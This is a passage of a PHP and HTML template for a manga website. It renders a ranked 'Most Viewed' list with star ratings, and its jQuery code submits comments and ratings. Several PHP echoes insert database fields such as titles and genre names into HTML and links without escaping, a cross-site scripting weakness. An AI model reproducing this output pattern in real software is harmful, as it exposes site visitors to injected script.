'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"><?= intval($rm['rating']) ?></span> </div> </div> </div> <?php } ?> </div> </section> </div> </div> </div> <div data-v-189babae="" data-v-5afa414d="" data-v-394b8d08="" class="section-container p-3 ranking-container" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title"> Most Viewed </h2> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-3f267cc0="" data-v-5afa414d="" data-v-6a8dae3e="" style="border:0;" class="segment-container row mt-1 mb-1"> </div> <?php $ranking = 1; foreach($mostViews as $mv) { ?> <div data-v-661257d6="" data-v-5afa414d="" class="row ranking-item-container py-3" data-v-189babae=""> <div data-v-661257d6="" class="ranking-index"> <span data-v-70d8a0c4="" data-v-661257d6="" class="text inverse small"><?= $ranking ?></span> </div> <a data-v-74ec4422="" data-v-661257d6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($mv['title']))) ?>" class="link no-decoration" title="<?= $mv['title'] ?>"> <img data-v-a1ebd7c8="" data-v-661257d6="" src="<?= $mv['display_image'] ?>" alt="story" title="story" class="ml-3"> </a> <div data-v-661257d6="" class="column ml-3 flex-fill"> <a data-v-74ec4422="" data-v-661257d6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($mv['title']))) ?>" class="link no-decoration one-line" title="<?= $mv['title'] ?>"> <?= $mv['title'] ?> </a> <span data-v-661257d6="" class="my-1"> <span data-v-70d8a0c4="" data-v-661257d6="" class="text grey small">Genres: </span> <?php $genres = explode(", ", $mv['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="genres?genre=<?= $g ?>" class="link no-decoration comic-info-link" title="<?= $g ?>"> <?= $g ?> </a> <?php } ?> </span> <?php $m_ratings = $dbhelper->getMangaRatings($mv['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"><?= number_format( $m_ratings['average_rating'], 2); ?></span> </div> </div> </div> <?php $ranking += 1; } ?> </div> </div> </div> </div> <?php include('footer.php'); ?> </div> <div role="alert" class="snackbar-error snackbar-container snackbar-hide" data-v-143f642f="" data-v-5fa6951a=""> <div class="flex relative row align-center px-3" data-v-143f642f=""> <div class="snackbar-indicator indicator-error" data-v-143f642f=""></div> <svg xmlns="http://www.w3.org/2000/svg" width="50px" height="50px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle color-error" data-v-143f642f=""> <circle cx="12" cy="12" r="10" data-v-143f642f=""></circle> <line x1="12" y1="8" x2="12" y2="12" data-v-143f642f=""></line> <line x1="12" y1="16" x2="12.01" y2="16" data-v-143f642f=""></line> </svg> <div class="column px-4 py-3" data-v-143f642f=""> <span class="bold text inverse large" data-v-70d8a0c4="" data-v-143f642f="">Failed </span> <span class="mt-2 text inverse normal" data-v-70d8a0c4="" data-v-143f642f=""></span> </div> </div> </div> <div class="snackbar-bg" data-v-aa051a02="" data-v-5fa6951a=""> <div class="snackbar snackbar-container snackbar-hide" data-v-aa051a02=""> <div class="flex relative row align-center px-3" data-v-aa051a02=""> <div class="column px-4 py-3" data-v-aa051a02=""> <span bold="" class="mt-2 text dark normal" data-v-70d8a0c4="" data-v-aa051a02="">You need to <a href="https://mangapiece.com/sign-in" data-v-70d8a0c4="" data-v-aa051a02="">login</a> to use this function.</span> <div class="cancel mt-3" data-v-aa051a02="">Cancel</div> </div> </div> </div> </div> <div data-v-78a91c7e="" data-v-5fa6951a=""></div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js"></script> <script> $(".image-slider1").owlCarousel({ margin: 10, loop: true, autoplay: true, nav: true, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 2 }, 600: { items: 3.5, merge: true, }, 1000: { items: 5 } } }); $(".readmore-link").click(function(e) { // record if our text is expanded var isExpanded = $(e.target).hasClass("expand"); //close all open paragraphs $(".readmore.expand").removeClass("expand"); $(".readmore-link.expand").removeClass("expand"); // if target wasn't expand, then expand it if (!isExpanded) { $(e.target).parent(".readmore").addClass("expand"); $(e.target).addClass("expand"); } }); $('#commentForm').submit(function(event) { event.preventDefault() $.ajax({ url: '/actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $('#commentForm').serialize(), success: function(data, textStatus, jQxhr) { var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: 'Comment submited', showConfirmButton: true }).then(function() { location.reload(); }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function(jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); }) function updateRating(value) { var params = { action: 'give_rating', manga_id: <?= $manga['id'] ?>, rating_value: value }; $.ajax({ url: '/actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: 'Rating submited', showConfirmButton: true }).then(function() { location.reload(); }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } </script> <?php include('script.php'); ?> </body> </html>
Close
